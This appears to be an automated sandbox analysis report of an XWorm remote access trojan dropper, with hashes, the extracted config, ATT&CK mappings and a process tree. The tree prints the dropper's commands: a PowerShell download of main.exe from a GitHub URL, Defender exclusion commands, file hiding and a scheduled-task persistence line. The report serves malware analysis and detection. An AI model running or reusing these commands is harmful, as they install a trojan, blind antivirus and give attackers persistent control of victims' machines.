xworm | ac74bb9370b5d6eff52190fe5767a21e6c3083e370b66506cc249a30d074f768

Analysis

max time kernel
111s
max time network
148s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250217-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250217-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
02/03/2025, 21:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Main.bat
Size

458B
MD5

7fe7990fe96629419bef8f2b22415163
SHA1

a147bd40dd7a0465bbce96282af8d3cb1a11b57d
SHA256

ac74bb9370b5d6eff52190fe5767a21e6c3083e370b66506cc249a30d074f768
SHA512

5d8d925e133e7cc33cdb154cc596c40be7e1d8e9438e640f6e3128ba50b1ad1af5ebde614edfa54d45de436168949e08b1deec0b983b7314dc407f595b709754

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

sSk9v0A6er9oWjcu

Attributes

Install_directory
%AppData%
install_file
svchost.exe
pastebin_url
https://pastebin.com/raw/6EU9ps8S

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000e000000027c69-36.dat	family_xworm
behavioral2/memory/1416-38-0x00000000007F0000-0x0000000000818000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	5964	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3100	powershell.exe
4956	powershell.exe
2532	powershell.exe
3144	powershell.exe
4980	powershell.exe
5964	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
5	5964	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2501448743-3279416841-701563739-1000\Control Panel\International\Geo\Nation	main.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	main.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	main.exe

Executes dropped EXE 3 IoCs

pid	Process
1416	main.exe
548	svchost.exe
4720	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2501448743-3279416841-701563739-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe"	main.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
16	pastebin.com
17	pastebin.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3036	schtasks.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
5964	powershell.exe
5964	powershell.exe
2532	powershell.exe
2532	powershell.exe
3144	powershell.exe
3144	powershell.exe
4980	powershell.exe
4980	powershell.exe
3100	powershell.exe
3100	powershell.exe
4956	powershell.exe
4956	powershell.exe
1416	main.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5964	powershell.exe
Token: SeDebugPrivilege	2532	powershell.exe
Token: SeIncreaseQuotaPrivilege	2532	powershell.exe
Token: SeSecurityPrivilege	2532	powershell.exe
Token: SeTakeOwnershipPrivilege	2532	powershell.exe
Token: SeLoadDriverPrivilege	2532	powershell.exe
Token: SeSystemProfilePrivilege	2532	powershell.exe
Token: SeSystemtimePrivilege	2532	powershell.exe
Token: SeProfSingleProcessPrivilege	2532	powershell.exe
Token: SeIncBasePriorityPrivilege	2532	powershell.exe
Token: SeCreatePagefilePrivilege	2532	powershell.exe
Token: SeBackupPrivilege	2532	powershell.exe
Token: SeRestorePrivilege	2532	powershell.exe
Token: SeShutdownPrivilege	2532	powershell.exe
Token: SeDebugPrivilege	2532	powershell.exe
Token: SeSystemEnvironmentPrivilege	2532	powershell.exe
Token: SeRemoteShutdownPrivilege	2532	powershell.exe
Token: SeUndockPrivilege	2532	powershell.exe
Token: SeManageVolumePrivilege	2532	powershell.exe
Token: 33	2532	powershell.exe
Token: 34	2532	powershell.exe
Token: 35	2532	powershell.exe
Token: 36	2532	powershell.exe
Token: SeDebugPrivilege	1416	main.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeIncreaseQuotaPrivilege	3144	powershell.exe
Token: SeSecurityPrivilege	3144	powershell.exe
Token: SeTakeOwnershipPrivilege	3144	powershell.exe
Token: SeLoadDriverPrivilege	3144	powershell.exe
Token: SeSystemProfilePrivilege	3144	powershell.exe
Token: SeSystemtimePrivilege	3144	powershell.exe
Token: SeProfSingleProcessPrivilege	3144	powershell.exe
Token: SeIncBasePriorityPrivilege	3144	powershell.exe
Token: SeCreatePagefilePrivilege	3144	powershell.exe
Token: SeBackupPrivilege	3144	powershell.exe
Token: SeRestorePrivilege	3144	powershell.exe
Token: SeShutdownPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeSystemEnvironmentPrivilege	3144	powershell.exe
Token: SeRemoteShutdownPrivilege	3144	powershell.exe
Token: SeUndockPrivilege	3144	powershell.exe
Token: SeManageVolumePrivilege	3144	powershell.exe
Token: 33	3144	powershell.exe
Token: 34	3144	powershell.exe
Token: 35	3144	powershell.exe
Token: 36	3144	powershell.exe
Token: SeDebugPrivilege	4980	powershell.exe
Token: SeIncreaseQuotaPrivilege	4980	powershell.exe
Token: SeSecurityPrivilege	4980	powershell.exe
Token: SeTakeOwnershipPrivilege	4980	powershell.exe
Token: SeLoadDriverPrivilege	4980	powershell.exe
Token: SeSystemProfilePrivilege	4980	powershell.exe
Token: SeSystemtimePrivilege	4980	powershell.exe
Token: SeProfSingleProcessPrivilege	4980	powershell.exe
Token: SeIncBasePriorityPrivilege	4980	powershell.exe
Token: SeCreatePagefilePrivilege	4980	powershell.exe
Token: SeBackupPrivilege	4980	powershell.exe
Token: SeRestorePrivilege	4980	powershell.exe
Token: SeShutdownPrivilege	4980	powershell.exe
Token: SeDebugPrivilege	4980	powershell.exe
Token: SeSystemEnvironmentPrivilege	4980	powershell.exe
Token: SeRemoteShutdownPrivilege	4980	powershell.exe
Token: SeUndockPrivilege	4980	powershell.exe
Token: SeManageVolumePrivilege	4980	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1416	main.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 5140 wrote to memory of 5964	5140	cmd.exe	85
PID 5140 wrote to memory of 5964	5140	cmd.exe	85
PID 5140 wrote to memory of 2532	5140	cmd.exe	86
PID 5140 wrote to memory of 2532	5140	cmd.exe	86
PID 5140 wrote to memory of 1912	5140	cmd.exe	88
PID 5140 wrote to memory of 1912	5140	cmd.exe	88
PID 5140 wrote to memory of 1416	5140	cmd.exe	89
PID 5140 wrote to memory of 1416	5140	cmd.exe	89
PID 1416 wrote to memory of 3144	1416	main.exe	94
PID 1416 wrote to memory of 3144	1416	main.exe	94
PID 1416 wrote to memory of 4980	1416	main.exe	96
PID 1416 wrote to memory of 4980	1416	main.exe	96
PID 1416 wrote to memory of 3100	1416	main.exe	98
PID 1416 wrote to memory of 3100	1416	main.exe	98
PID 1416 wrote to memory of 4956	1416	main.exe	101
PID 1416 wrote to memory of 4956	1416	main.exe	101
PID 1416 wrote to memory of 3036	1416	main.exe	103
PID 1416 wrote to memory of 3036	1416	main.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1912	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Main.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://raw.githubusercontent.com/udx177/Main/refs/heads/main/main.exe -OutFile C:\Users\Admin\AppData\Local\Temp\main.exe"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\main.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2532
- C:\Windows\system32\attrib.exe
  attrib +h "C:\Users\Admin\AppData\Local\Temp\main.exe"
  2⤵
  - Views/modifies file attributes
  PID:1912
- C:\Users\Admin\AppData\Local\Temp\main.exe
  "C:\Users\Admin\AppData\Local\Temp\main.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\main.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'main.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4956
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3036

C:\Users\Admin\AppData\Roaming\svchost.exe
"C:\Users\Admin\AppData\Roaming\svchost.exe"
1⤵
- Executes dropped EXE
PID:548

C:\Users\Admin\AppData\Roaming\svchost.exe
"C:\Users\Admin\AppData\Roaming\svchost.exe"
1⤵
- Executes dropped EXE
PID:4720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
ed30ca9187bf5593affb3dc9276309a6

SHA1
c63757897a6c43a44102b221fe8dc36355e99359

SHA256
81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122

SHA512
1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

Filesize
654B

MD5
11c6e74f0561678d2cf7fc075a6cc00c

SHA1
535ee79ba978554abcb98c566235805e7ea18490

SHA256
d39a78fabca39532fcb85ce908781a75132e1bd01cc50a3b290dd87127837d63

SHA512
32c63d67bf512b42e7f57f71287b354200126cb417ef9d869c72e0b9388a7c2f5e3b61f303f1353baa1bf482d0f17e06e23c9f50b2f1babd4d958b6da19c40b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ddbce69b410e4819cf63c2d78cef1efc

SHA1
91844be6fdd8a3f07c78437799ccae931258605f

SHA256
648bc93a7aef845cfad6ea718bc6c46055f963bcd1687c5471530f0546413911

SHA512
3b33e1cec7863cf4701081d95334f6a8c5b819fae4204e2e121442ad69b558ce1039bee9a9f998942a74830e90109268e526c56f40f7a503814c924983728c8a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
18a3e7d4e7b2be138da278607013b4ea

SHA1
8afe2ba1ec101904f0089eb2036a6f6ef6507939

SHA256
6f320102836bffced05401617733c3cd60ded086e66a07c4583e1c537d34489f

SHA512
a1a40be3f27730e3d29744b237a0014e539f2ff3f1985ffcb8ae20d64fcae923b86223432c12014e70c1c67a55889b395cd4b5270f40cec05d0f828f71a1d655

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
86847f97a707044996572eb94e1f72aa

SHA1
15b547be8f9e835b9be245396e44efe6820e4e85

SHA256
e58d63ddac54de7b40feebf1759db7614a029bae46a833f70664d47b54ee7a5d

SHA512
a758a91a80474fd5675b0eb406a903e8c6a5fc63543bcc319add9acb9c4b151f573c85951c35665130ca138f1693b10286865f9945e970135a6fe32845f06cf5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7360177a7e17141a1d8558b82c476a4c

SHA1
24d7933d21596ad64034422805ecaeb39628817c

SHA256
8efeab447801edda5010ac67cbe2d95f0fb93fbf0e950be6c5038573fdb846e5

SHA512
d0c1447e198e2b7d6c29c1ab2820736621373f3809dc36d1f61fd1e7aeae50ede05d913b5063d86437e108932abd146a5f2084997c58fce002a3b9078f1aa37a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a411061a49feaa72cb78bd9a829d52f5

SHA1
1f053250bddbb7f486de05eb7af9b86af974ef2d

SHA256
7525c6556e09dda76407ef107413d5a7e1aafd2494affb4fe4b74978f6c7bf0c

SHA512
6c6d480e9e4df191e14b3da77c2fec8e7f21eff92aad77026d826538e3e17749c9b28324df8f2e269e4990b859183264a83bbc5298975b5fab456158ee68a426

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jdej2bm2.fkw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\main.exe

Filesize
137KB

MD5
57b5cb85b2b1f1a47106577864c6d0ac

SHA1
8b2c814f07c643a0e84b918c9f927fcd796409dd

SHA256
0bb30d453bca585126df4a0bd3aaa1ef8b8f7bbf6cf894f2caa6b23f2d5697b7

SHA512
f12e9763e51ae95b4a184c989953693f2bb9c3959d9d69d1164b782c54253b0df4a063b767eb818f1b32f39dfe2ef052cb0ee3d5881345fe30f320d0f857f0be

Download Submit
memory/1416-38-0x00000000007F0000-0x0000000000818000-memory.dmp

Filesize
160KB

Download
memory/2532-30-0x00007FFFBD520000-0x00007FFFBDFE2000-memory.dmp

Filesize
10.8MB

Download
memory/2532-32-0x00007FFFBD520000-0x00007FFFBDFE2000-memory.dmp

Filesize
10.8MB

Download
memory/2532-33-0x00007FFFBD520000-0x00007FFFBDFE2000-memory.dmp

Filesize
10.8MB

Download
memory/2532-35-0x00007FFFBD520000-0x00007FFFBDFE2000-memory.dmp

Filesize
10.8MB

Download
memory/2532-29-0x00007FFFBD520000-0x00007FFFBDFE2000-memory.dmp

Filesize
10.8MB

Download
memory/2532-19-0x00007FFFBD520000-0x00007FFFBDFE2000-memory.dmp

Filesize
10.8MB

Download
memory/5964-0-0x00007FFFBD523000-0x00007FFFBD525000-memory.dmp

Filesize
8KB

Download
memory/5964-17-0x00007FFFBD520000-0x00007FFFBDFE2000-memory.dmp

Filesize
10.8MB

Download
memory/5964-13-0x00007FFFBD520000-0x00007FFFBDFE2000-memory.dmp

Filesize
10.8MB

Download
memory/5964-12-0x00007FFFBD520000-0x00007FFFBDFE2000-memory.dmp

Filesize
10.8MB

Download
memory/5964-11-0x00007FFFBD520000-0x00007FFFBDFE2000-memory.dmp

Filesize
10.8MB

Download
memory/5964-1-0x00000147EE910000-0x00000147EE932000-memory.dmp

Filesize
136KB

Download